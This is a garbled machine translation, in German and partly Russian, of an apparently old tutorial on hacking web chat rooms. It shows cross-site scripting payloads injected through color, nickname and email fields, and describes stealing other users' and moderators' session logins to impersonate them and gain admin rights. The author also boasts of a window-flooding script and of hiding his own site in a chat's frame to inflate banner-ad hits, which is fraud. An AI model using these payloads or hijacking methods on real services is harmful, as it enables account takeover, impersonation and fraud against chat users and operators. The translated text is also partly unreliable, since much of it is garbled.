This page has been robot translated, sorry for typos if any. Original content here.

Chat-Teil 2 brechen



  • Teil 1
  • Teil 2


  • Variationen zum Thema

    Im vorigen Kapitel haben wir uns einen Fall angesehen, bei dem eine Farbe ohne einschränkende Anführungszeichen in den Seitentext eingefügt wurde. Und was tun, wenn die Notierungen noch vorhanden sind? Zum Beispiel sieht der Text im Chat so aus:
    Viator - Alpha, hallo))
    Alpha - Hallo an alle! !!

    Wie Sie sehen, wird die Farbe in die Anführungszeichen eingefügt. Dieses Problem ist leicht zu lösen, wenn der Chat den Charakter nicht herausfiltert. Wenn ja, dann können wir einfach das offene Zitat schließen und dann unser Skript schreiben. Wenn Sie beispielsweise den Farbwert auf Rot setzen, 'size = 20' <FONT color = # 00ff00> , erhalten Sie den Effekt erneut mit einer großen Schrift. Achten Sie auf das Leerzeichen und den Apostroph am Ende. Sie sind notwendig, um sicherzustellen, dass das abschließende Zitat, das der Chat selbst einfügt, unsere Attribute nicht zerstört. Als Ergebnis sieht unsere Nachricht so aus:

    Shram - Hallo

    Wenn der Chat das Anführungszeichen-Symbol, das den Parameterwert umgibt, nicht überspringt, kann der Chat nicht über diesen Parameter geknackt werden :( (. Obwohl hier einige Dinge möglich sind: siehe das Ende dieses Kapitels.

    Diese Methode funktioniert sehr oft (fast immer) für die angegebene E-Mail-Adresse (in Chatlanin-Parametern oder im Feld für die Rücksendeadresse in Foren und Gästebüchern). In der Regel geht ein Link zu Seife wie folgt in die Foren:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Fedya Pupkin &lt;/a&gt;</b> (fragment mailto: das Gateway fügt sich selbst ein). Dann setzen Sie den Wert für " soap " auf "style = background-image: url (javascript: alert ('Well_net_y_me_mya!'))" . Wir senden einen Alarm an alle Forenbesucher :) ) (beachten Sie, dass die Adresse der Seife in der Regel filtert, dass die Eingabezeichen nicht installiert sind). Zwar scheinen einige Foren und Chats die Seife zu überprüfen, aber diese Prüfung hängt von der Anforderung des Vorhandenseins des @ -Symbols ab. Wenn dies der Fall ist, werden wir den Erstellern des Forums gefallen und sie wie folgt zeichnen : mylo@myla.net "style = background-image: url (javascript: alert ('Well_net_you_mya_myla!'))" .

    In einigen Chatrooms können Sie eigene Bilder einfügen, indem Sie die Adresse des Bildes angeben. Wie wir bereits wissen, wo eine URL ist, können Sie dort ein Skript einfügen. Ich werde es nicht mal kauen. Alles ist klar.

    Das erste Kapitel zeigte, wie Sie das Eingabe-Chat-Formular ändern. Insbesondere musste die relative Adresse des Aktionsfeldes auf absolut geändert werden. Die Struktur des Chats kann jedoch so komplex sein, dass solche Ersetzungen sehr viel Zeit in Anspruch nehmen können. Es ist unpraktisch, die Adresse in allen Fällen zu ändern (und Sie können sich irren). Stattdessen empfehlen wir das Tag <base href = 'http: //typachat.ru/'^gt; , die an beliebiger Stelle im HTML-Dokument eingefügt wird. In diesem Fall werden alle relativen Adressen an die im Basis- Tag angegebene Adresse (in diesem Fall in typachat.ru ) adressiert , unabhängig vom tatsächlichen Basis-DNS-Namen.

    Sie wissen wahrscheinlich, was Sniffer sind? Wenn nicht, dann erzähle ich Ihnen einen Sniffer - eine sehr nützliche Sache, mit der Sie den Verkehr verfolgen können. Im Falle eines Chats können Sie mit dem Sniffer die im Chat befindlichen IP-Adressen sowie deren temporären Namen und Codes (für Chats mit temporären Namen) ermitteln. Manchmal können Sie sogar Administratorrechte erhalten :) ).

    Es kommt häufig vor, dass der Kurzname im Chat-Text als Link fungiert. Wenn Sie darauf klicken, können Sie eine private Nachricht an das Chat-Mitglied senden. So sieht es in HTML aus:

    Alpha - Hallo!

    Moderator - Hallo!

    Zusätzlich zu dem im Kapitel "Wunder mit dem Symbol =" beschriebenen Effekt können Sie ein Skript einfügen, das das Klickereignis des Links auslöst (wenn der Chat die einschränkenden Anführungszeichen - in diesem Fall " und das Symbol + nicht ausfiltert). Setzen Sie dazu Der folgende Wert: "+ alert ('Hello!') +" . Sie können etwas ernsthafteres einfügen (nur mit der Funktion toString () ). Beispiel: Ein solcher Kurzname "+ toString (open ('// yahoo.com', '_ top) ')) + " sendet den Benutzer, der auf Ihren Benutzernamen geklickt hat, und macht eine Pause vom Chat in Yahoo :) ).

    Den Chat brechen M

    Wie im ersten Kapitel erwähnt, gibt es zwei Methoden, um Chats zu unterbrechen. Alle obigen Beispiele beziehen sich auf die erste Methode - die Methode des Eindringens in die Parameter des Tags. Hier möchte ich die Technologie der zweiten Methode zeigen - die Methode, die Struktur von HTML zu durchbrechen.

    Die Farbe der Nachrichten im Chat M wurde in numerischer Form festgelegt (und hatte daher eine Begrenzung für die Länge der Farbe - 7 Zeichen), hatte ausgefallene Filter, übersprang jedoch ein einzelnes Zeichen ' . Hier ist ein Ausschnitt von Chat-Nachrichten:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Wie Sie sehen, wird die Farbe ohne Anführungszeichen angegeben. Die Hacking-Technologie ist einfach: Loggen Sie sich mit einem zufälligen Spitznamen und Farbe ein. ' Melden Sie sich dann im Chat an und geben Sie eine Nachricht wie 'style = background-image: url (javascript: alert (' Hello_people !! ')) aus . Achten Sie auf das Leerzeichen am Ende - es ist erforderlich. Unsere Botschaft lautet wie folgt:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Es stellt sich heraus, dass sich ein Teil des HTML-Codes - class = "ku"> - in einfachen Anführungszeichen befunden hat und vom Browser als Zeichenfolgenwert für color betrachtet wird. Die schließende eckige Klammer des Tags wird in diese Zeile eingefügt, dank derer sich unsere Nachricht innerhalb des Tags befindet! Der Teil des Codes, der direkt nach unserer Nachricht kommt wird vom Browser nicht verstanden und wird ignoriert (und dieser Teil sollte durch ein Leerzeichen von unserem style-Parameter getrennt werden, andernfalls wird der Parameter insgesamt als fehlerhaft betrachtet), aber danach wird die rechte spitze Klammer als schließendes Font- Tag betrachtet. Alles ist sehr einfach.

    Ein wenig über den Backslash-Charakter

    JavaScript-Konstantenzeichenfolgen haben ein spezielles Steuerzeichen. Dies ist ein Backslash-Zeichen. Eine seiner Zuweisungen ist folgende: Das nachfolgende Anführungszeichen wird als Symbol betrachtet, nicht als Abschlusszeichen einer Zeichenfolge. Zum Beispiel:

    &lt;script&gt; alert ('es' s ') &lt;/ script&gt; - gibt keine Fehlermeldung aus, da der Apostroph in Kombination mit dem \ in der Mitte der Zeile nicht als Ende der Zeile betrachtet wird. Während &lt;script&gt; alert ('It's') &lt;/ script&gt; gibt eine Fehlermeldung aus.

    Da das Symbol \ das eigentliche Steuerzeichen ist (und daher nicht direkt in der Zeichenfolge erscheint), existiert die Kombination \\ zur Anzeige. Eine solche Kombination wird als einfaches \ Zeichen angezeigt.

    Was hat das alles mit Hacking-Chats zu tun? Aber einige: Einige Chatrooms setzen die Anführungszeichen " (oder ' ) im Kurznamenfeld nicht ein, sondern ersetzen sie durch eine Kombination des Typs " " (oder \' ), vorausgesetzt, dass in diesem Fall Anführungszeichen angezeigt werden, jedoch nicht als Begrenzer fungieren können und kann daher die Struktur von HTML nicht zerstören. Gleichzeitig verlieren kurzsichtige Entwickler die Tatsache, dass der Benutzer das Zeichen \ verwenden kann, um das Zeichen \ zu blockieren. Ein Chatfragment für eine Benutzernachricht mit dem Spitznamen "Sham" lautet beispielsweise wie folgt:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    In diesem Fall verstößt das Zitat im Kurznamen nicht gegen die Struktur des Tags. Wenn wir jedoch den Kurznamen in Al \ "gol ändern, wird beim Einfügen eines Schrägstrichs vor dem Anführungszeichen der folgende HTML-Code erstellt:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> Zur gleichen Zeit blockiert unser Schrägstrich den Schrägstrich des Chats, und das Zitat des Nicknamen zerstört die Struktur von HTML! Dies ist sichtbar, wenn Sie im Beispiel auf den Link klicken.

    Dieser Effekt kann zum Hacken von Chats durch Aufbrechen der HTML-Struktur verwendet werden. Beachten Sie, dass in einigen Fällen die gleiche Methode verwendet werden kann, um einschränkende Anführungszeichen zu blockieren, indem am Ende des Kurznamens ein Backslash eingefügt wird.

    Vor kurzem habe ich ein weiteres Loch festgestellt, das mit der nicht ordnungsgemäßen Verwendung des Symbol \ Programmier-Chats zusammenhängt. Angenommen, der Spitzname eines Benutzers wird in den Chat-Körper eingefügt als

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> Wenn wir die Eigenschaft in Al'gol ändern , akzeptiert der Chat einen solchen Spitznamen, ersetzt ihn jedoch durch Al \ 'gol , naiv zu glauben, dass das Einfügen des Backslash den Tag vor der Zerstörung schützt. Das ist eigentlich nicht der Fall. :) . Wenn Sie einen solchen Spitznamen in den Chat-Body einfügen, sieht er folgendermaßen aus:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    In diesem Fall gibt der Explorer eine Fehlermeldung aus, wenn Sie versuchen, den Spitznamen zu verwenden. Der Grund ist folgender: Das \ -Zeichen macht nur Sinn in JavaScript-String-Konstanten, aber nicht in HTML! HTML selbst versteht das Zeichen \ nicht und betrachtet daher den ersten gefundenen Apostroph als das Ende des Attributs href , obwohl \ vor ihm steht. So wird zum Beispiel ein solcher Spitzname Algol '= die Struktur des Tags zerstören, obwohl vor dem Apostroph ein Backslash eingefügt wird

    Hacking auf der http-Ebene

    Wie bereits erwähnt, kann der Chat-Server das Verweisfeld einer HTTP-Anforderung nachverfolgen und darf nicht chatten, wenn dieses Feld sich von dem von Ihnen benötigten Feld unterscheidet. Um dieses Hindernis zu umgehen, müssen Sie den vom Chat an den Server gesendeten HTTP-Anforderungsheader abrufen (mit speziellen Programmen wie Naviscope) und ein spezielles Programm schreiben, das Anforderungen an den Server sendet. Gleichzeitig kann der Inhalt der Abfragen (zB die Werte des Farbfeldes) beliebig eingestellt werden.

    Ich werde darauf nicht ausführlich eingehen. Dies geht über das Hacken von HTML hinaus.

    Ich stelle nur fest, dass Sie auf der HTTP-Ebene mehr List als herkömmliche HTML- oder JavaScript-Methoden ausführen können. In jedem Fall empfehle ich, HTTP-Anforderungsheader anzuzeigen, wenn Sie im Chat arbeiten. Sie helfen Ihnen, die Arbeit des Chats genauer zu verstehen.

    Wunder mit dem Symbol =

    Was wird Ihrer Meinung nach im Browser für eine solche HTML-Zeile angezeigt:

    &lt;font onclick = alert ('=')&gt; Text &lt;/ font&gt; ? Ich wette, Sie werden nicht raten (es sei denn, Sie arbeiten natürlich bei Microsoft und haben MSIE nicht entwickelt). Das Ergebnis ist so spezifisch, dass ich kein Beispiel machen könnte, um es zu demonstrieren. . Sie können jedoch glauben, dass das folgende Wort im Browserfenster angezeigt wird: &lt;fontonclick = alert ('=')&gt; Text Wie Sie sehen, wird das öffnende Tag in diesem Fall vom Browser einfach nicht als Tag wahrgenommen, obwohl es keine Syntaxfehler gibt. :) ). Und was passiert, wenn wir schreiben Text

    Seltsamerweise wird in diesem Fall alles in Ordnung sein, obwohl ein Syntaxfehler vorliegt. Und wenn wir auf den Text klicken, erscheint eine Warnung = . Bewegen Sie den dritten Apostroph hinter der spitzen Klammer oder hinter dem Text:

    &lt;font onclick = alert ('=')&gt; Text '&lt;/ font&gt; Es stellt sich als zu unerwartetes Ergebnis heraus.

    Leider habe ich weder den Quellcode noch eine ausführliche Dokumentation für MSIE, aber ich denke, dass in diesem Fall ein offensichtlicher Fehler in MSIE vorliegt. Wahrscheinlich analysiert der Browser den Code in zwei Schritten. In der ersten Phase hebt er die Tags, ihre Attribute und den dazwischen liegenden Text hervor und in der zweiten Phase analysiert er den JavaScript-Inhalt der Tag-Parameter (es handelt sich nur um Attribute, die Skriptwerte zulassen, wie z. B. href oder onclick ). Bei der ersten Analyse betrachtet der Browser aus irgendeinem Grund die Kombination = 'den Anfang einer Zeile, obwohl das Symbol = bereits in der Zeile steht! Wenn Sie = ' für den Zeilenanfang nehmen, sucht das Programm nach dem Ende (wobei völlig vergessen wird, dass eine andere Zeile offen und nicht geschlossen ist). Daher wird alles, was folgt, = ' (oder = " ) und bis zum nächsten Zeichen ' ignoriert und als Zeichenfolge gezählt! Daher hat der Browser im ersten Beispiel den Tag nicht erkannt: Er fand die schließende Klammer nicht, da er sich (sozusagen) innerhalb der Zeichenfolge befand Noch überraschender ist, dass der Browser in der zweiten Phase der Analyse der Tag-Parameter alles richtig erkennt (Sie können dies durch Anklicken des Texttextes im zweiten Beispiel sicherstellen), nimmt die Zeile bei Bedarf wahr und findet bei Bedarf auch die schließende Klammer. zu diesem Fragment eines dritten Text zweites Beispiel ist in Klartext nicht angezeigt (weil, da es nicht der Körper des Tages ist), ist aber nicht paramatrom-Tag (wie in der Phase der Analyseparameter für die Compiler es einfach nicht kommen)! Flamme Hallo Bill!

    Mit diesem Browserfehler konnte ich einen Teil des Chat-Codes auskommentieren, indem ich mich einfach unter dem Kurznamen = anmeldete :) ). Hier ist ein Codeausschnitt, der eine Liste der im Chat Anwesenden anzeigt:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    In diesem Fall wurde mein Spitzname in der Liste einfach nicht angezeigt, da das Fragment zwischen den Anführungszeichen steht

    )&gt; = &lt;/a&gt; a href = javascript: parent.window.messageFor ( wurde außerhalb des Tags der Tags angezeigt: -}. Wenn Sie jedoch auf den Moderator klicken, wurde die Funktion parent.window.messageFor mit dem Parameter = aufgerufen. Ähnliche "Effekte" waren beim Anzeigen meiner Nachrichten im Chat.

    Es ist wunderbar (oder traurig - auf der Suche nach jemandem), dass dieser Fehler fast überall auftritt, wo Sie sogar einen Thread eingeben können (zumindest für MSIE 5.50.4134.0600). Dazu müssen Sie nichts an dem Formular ändern. Und das Schlimme ist, dass es schwierig ist, signifikante Vorteile zu erzielen (z. B. das Ausführen eines Skripts).

    Zusammenfassend stellen wir fest, dass das Symbol > eine ähnliche Wirkung hat, die als Ende des Tags wahrgenommen wird, obwohl es sich innerhalb des Strings befindet. Fragment

    &lt;font onclick = alert ('&gt;')&gt; Text &lt;/ font&gt; wird vom Browser als fehlerhaft interpretiert und verflucht, dass die String-Konstante nicht geschlossen ist.

    Zwei Hacking Chat t

    Chat T hat die folgenden Zeichen im Farbfeld verpasst:

    ' ` = ;

    Beim Einfügen von Farben in den Chat waren keine Framing-Zitate vorhanden. Fragment von Nachrichten im Chat (der Autor des Chats hält es offenbar nicht für notwendig, die Tags zu schließen)), obwohl wir hoffen, dass dies zur Verbesserung der Leistung getan wird:

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Es war peinlich, dass der Platz nicht vom Filter übersprungen wurde. Nach einigem Nachdenken fand ich jedoch die folgende Lösung: Ich habe die Farbe in einfache Anführungszeichen gesetzt und nach der Farbe ohne Leerzeichen den Stilparameter eingefügt: 'red'style = Hintergrundbild: URL (Javascript: while (1 == 1) open ( )) . Wie im zweiten Kapitel erwähnt, ist das Leerzeichen nicht erforderlich. :) ).

    Übrigens war dieser Chat voller Frames, einschließlich solcher, die versteckt und leer waren - wahrscheinlich an zukünftige Erweiterungen. Aber während die Admins über Erweiterungen nachdachten, fand ich sie nützlicher. Ich habe lange in diesem Chat gehangen - einige Monate. Und es hing nicht einfach nur: In einem der verborgenen Rahmen schob ich meinen Saytik. Und auf der Website waren Banner Banner-Netzwerk. Ich habe also Hunderttausende Bannerplakate gemacht, und meine Website ist im Ranking der Rambler Top 100-Treffer (in ihrer Gruppe) auf 5-6 Plätze gesprungen. Leider korrelierte das Bannernetzwerk mit dem Verhältnis von Treffern / Hosts und stellte fest, dass es mitgeführt wurde. Es stellte sich heraus, dass derselbe Besucher 50 Mal täglich meine Website besucht. Mein Konto wurde gesperrt. Also wahrscheinlich immer noch da und hängt unruhig :) ).

    Aber zurück zu unseren Schafen. Nach einiger Zeit ersetzte die Verwaltung des Chats cgi-shku. Ich weiß nicht, welche "Verbesserungen" in der zweiten Auflage vorgenommen wurden, aber ich habe nur eine Änderung bemerkt: Jetzt war die Länge des Linienfarbwerts begrenzt und betrug etwa 10 Zeichen (übrigens ist diese Einschränkung in vielen Chats enthalten, obwohl ich nicht verstehe, worauf es ankommt Ist es nicht einfacher, die eingegebenen Zeichen zu filtern? Obwohl sie auf diese Weise vielleicht vor dem Pufferüberlauf geschützt werden?). In dieser Situation funktionierte die alte Methode natürlich nicht mehr. Ein anständiges Skript kann nicht in 10 Zeichen eingepfercht werden (selbst der Stil selbst passt hier nicht). Mir wurde klar, dass man nur den Spitznamen oder die zweite Methode durchbrechen kann - die HTML-Struktur wird zerstört. Ein paar Stunden habe ich auf diese Weise versucht. Neben dem billigen Effekt des Verschwindens des Nick (das Kapitel "Wunder mit dem Symbol") funktionierte nichts. Das Brechen der Struktur hat aus folgendem Grund nichts ergeben: Durch das Einfügen des Symbols anstelle von Farbe öffnete ich die Zeile, die jedoch durch einen Apostroph geschlossen wurde, der auf die Zeit Bezug nahm (hier hatte der Chat nur Glück - er war nicht als Schutzmaßnahme gedacht, obwohl viele Chats speziell für diese Fiktion eingefügt wurden Tags wie <! '"'> ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    Das heißt, nur ein Fragment von <a href = javascript: parent.window.Mtm ( . Und alles, was ich erreichte, war das Löschen dieses Tags eines Links. Wenn es möglich wäre, doppelte Anführungszeichen anstelle von einfachen Anführungszeichen einzufügen, wäre das kein Problem, denn im Chat doppelte Anführungszeichen wurden nicht verwendet. Aber das Symbol "wurde vom Filter nicht übersprungen. Der Eintrag unter dem Kurznamen vom Typ Algol = hat auch nichts ergeben, da die Symbole nach 'Algol ='> ignoriert wurden und nicht als Tag-Parameter betrachtet wurden. Selbstverständlich wird die am Ende des Kapitels" Variationen auf "beschriebene Variante verwendet Theme ", aber diese Skripte funktionierten nur, wenn ich auf den Link geklickt habe und :( (. Ich war bereit zuzugeben, dass der ganze Chat nicht gehackt werden kann. Und dann fand ich im letzten Moment beim Graben und Experimentieren in den Tiefen von HTML heraus, dass das Backslash-Zeichen auch ein Abbruchzeichen für HTML-Zeilen ist! Und dieses Symbol wurde vom Filter übersprungen!) Eingeloggt mit dem Spitznamen Algol und der Farbe ` . Und dann habe ich die folgende Zeile als Chat-Nachricht gesendet: ` style = background-image: url (javascript: alert ('Victory_will_be_za_nami!')) . Meine Nachricht im Chat-Body sah folgendermaßen aus:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    In diesem Fall das Fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ('Algol') > Algol </a> wurde vollständig kommentiert und als Farbe betrachtet, und der Stilparameter befand sich innerhalb des Tags! Das Skript hat funktioniert :) ).

    Daher müssen Chat-Programmierer T eine neue Version ihres Nachwuchses entwickeln. Es bleibt zu fragen, wie viele Lücken sie hinterlassen und wie langsam sie korrigiert werden. Sie sagen das Ganze in der Psychologie: Die Entwickler von Schutzsystemen können sich nicht an die Stelle eines Einbrechers setzen und das System für sich beurteilen, anstatt es von außen zu betrachten.

    "Abhören", "Fälschen" und Einholen von Rechten.

    Erwägen Sie Methoden, um die Nachrichten anderer Personen (Privaten) zu erfassen und Nachrichten im Namen anderer Chatovtsy zu senden. Es gibt verschiedene Abhörmethoden, die für verschiedene Arten von Chats konzipiert sind. Wenn der Chat vollständig gehackt ist, ist die Operation "Fälschung" (d. H. Das Einfügen von Replikaten im Namen anderer Chatovtsy) ist nicht schwierig: Sie müssen das Opfer nur an ein privates Skript senden, das Text in die Replikatenzeile schreibt und dann auf die Schaltfläche "Senden" klickt. In ähnlicher Weise können Sie Benutzer herausziehen. Solche Verfahren sind jedoch zu grob, zu primitiv und schwer anzuwenden. Anspruchsvollere Abhörmethoden, bei denen der Chat Sie für einen anderen Benutzer verwendet.

    Beim Erstellen von HTML-Chats besteht das Hauptproblem darin, dass das HTTP-Protokoll im Prinzip keine permanenten Verbindungen unterstützt. Das bedeutet, dass das Chat-Programm Sie jedes Mal, wenn Sie Nachrichten empfangen oder eine Antwort senden möchten, Sie kennen und verstehen muss, dass Sie Sie sind. Wenn sie keine Benutzer erkannt hat, kann sie Ihnen Ihre Privaten nicht senden und Ihre Nachrichten nicht in Ihrem Namen schreiben. Um Teilnehmer zu identifizieren, verwenden Chatrooms unterschiedliche Methoden. Die am häufigsten verwendete Methode ist die IP-Adresse und die dynamische Namensmethode. Die erste Methode basiert auf der Tatsache, dass derselbe Benutzer während der Kommunikationssitzung dieselbe IP-Adresse hat. Ich werde nicht näher auf diese Methode eingehen, sondern nur sagen, dass diese Methode Nachteile hat. Insbesondere funktioniert es möglicherweise nicht, wenn der Benutzer einen Firmenproxyserver verwendet oder mehrere Chat-Fenster geöffnet hat. In letzter Zeit wurde häufig eine andere Methode verwendet - die Methode der dynamischen Namen. Die Essenz der Methode liegt in der Tatsache, dass der Benutzer bei jeder Anmeldung im Chat automatisch eine temporäre eindeutige Anmeldung erhält. Diese Anmeldung wird automatisch auf der Seite registriert, die das Gateway an den Benutzer sendet. Jedes Mal, wenn ein Benutzer ein Replikationsformular sendet oder Nachrichten aus dem Chat anfordert, sendet seine Seite einen temporären Login an den Server, mit dem der Server den Benutzer tatsächlich identifiziert. Das temporäre Anmeldesystem wird nach dem Zufallsprinzip generiert, und zwei verschiedene Benutzer können nicht über dasselbe Login verfügen. Das Login kann aus mehreren Teilen bestehen. Meistens ist dies die Sequenznummer des Benutzers in der Sitzung und das zufällig generierte Passwort. Da das Identifikations-Login auf der Chat-Seite jedes Benutzers „genäht“ ist, weiß das System, mit welchem ​​Benutzer es kommuniziert, unabhängig von seiner IP-Adresse, den Proxy-Servern, der Anzahl der geöffneten Fenster mit Chat usw.

    Wenn wir den Benutzernamen des Benutzers kennen, hätten wir es nicht schwer gehabt, unter dem Benutzer zu "treten", indem wir einfach unseren Login auf seiner Seite korrigiert haben. Dann würde uns das System dazu bringen ... Es stellt sich heraus, dass Sie dies problemlos tun können, wenn der Chat gehackt wird, und wir haben die Möglichkeit, Ihr Bild in den Chat einzufügen. Wenn Sie einen Sniffer als Bild verwenden (siehe Kapitel "Variationen eines Themas"), können wir die temporären Logins aller Chat-Teilnehmer abrufen! Und wenn wir an einem bestimmten Login interessiert sind, müssen Sie ihm einen Sniffer privat schicken. Ich stelle Folgendes fest: Das abgefangene Login ist nur gültig, solange sich der Benutzer im Chat befindet. Wenn er sich neu anmeldet (abmeldet und erneut anmeldet), hat er bereits ein neues temporäres Login.

    Es ist klar, dass, wenn Sie die temporäre Anmeldung des Administrators abfangen, seine Rechte automatisch an uns übertragen werden, z. B. die Möglichkeit, Tags direkt in Nachrichten einzufügen (d. H. Das Fehlen eines Filters für < und > Zeichen) oder die Möglichkeit, aus dem Chat zu löschen oder Informationen über den Benutzer zu erhalten usw.

    Dritter Hacking-Chat t

    Zurück zu dem langweiligen Chat T. Vor nicht allzu langer Zeit hat Chat T komplett auf einen neuen Kern umgestellt. Jetzt haben sich die Spielregeln geändert. Anfangs fehlte dem Farbfeld fast alles (bis zu den < und > Zeichen), und es fiel mir leicht, es zu knacken. Aber bald war dieses Loch versiegelt (nicht ohne meine Beteiligung). In der neuen Version des Chats fehlten nur Zahlen und Buchstaben. Hacken durch Farbe ist unmöglich geworden. Dies führte zur Suche nach ausgefeilteren Methoden. Tatsächlich ist nur noch der Spitzname übrig. Aus meiner eigenen Erfahrung wusste ich, dass es ziemlich schwierig war, einen Chat durch einen Spitznamen zu durchbrechen, da die Entwickler die Filter für den Spitznamen eher sorgfältig wählten. Im Chat wurde jedoch über den "Trick" diskutiert, dass "der Zeichensatz für den Spitznamen erheblich erweitert wurde." Es lief wie eine Art Werbung. Ein wenig mit den Filtern des Spitznamens herumfummelt, stellte ich fest, dass folgende Zeichen fehlen:

    ' ` = ; \

    Das Symbol "wurde übersprungen, aber vor dem Chat wurde automatisch das Symbol \ eingefügt. Die mit einer solchen Kombination verbundenen Mechanismen sind im Kapitel" Ein wenig über das Backslash-Symbol \ "beschrieben. Die in diesem Kapitel beschriebenen Effekte ergaben jedoch nicht das gewünschte Ergebnis und waren unpraktisch. Ich suchte nach einem anderen Lösung und ich habe es gefunden!

    Schauen wir uns ein Fragment von Nachrichten im Chat an:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    Wie Sie sehen, wurde der Spitzname als Link angegeben. Beim Klicken wurde eine bestimmte Funktion aufgerufen. Der Link-Handler href wurde in einfache Anführungszeichen eingeschlossen und der Kurzname selbst war in Anführungszeichen gesetzt. Da das doppelte Anführungszeichen von Chat nicht wirklich im Sinne eines Spitznamens übersprungen wurde, war es als unmöglich, die Grenzen des Funktionsarguments zu überschreiten. Der Spitzname type = ` funktionierte nicht, da der Handler in einzelne Apostrophe eingeschlossen war. Wie im Kapitel" Wunder mit dem Symbol = "gezeigt, funktionierte der Effekt mit dem = -Zeichen nicht. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). Ie например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. Т.о. обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    Фрагмент

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

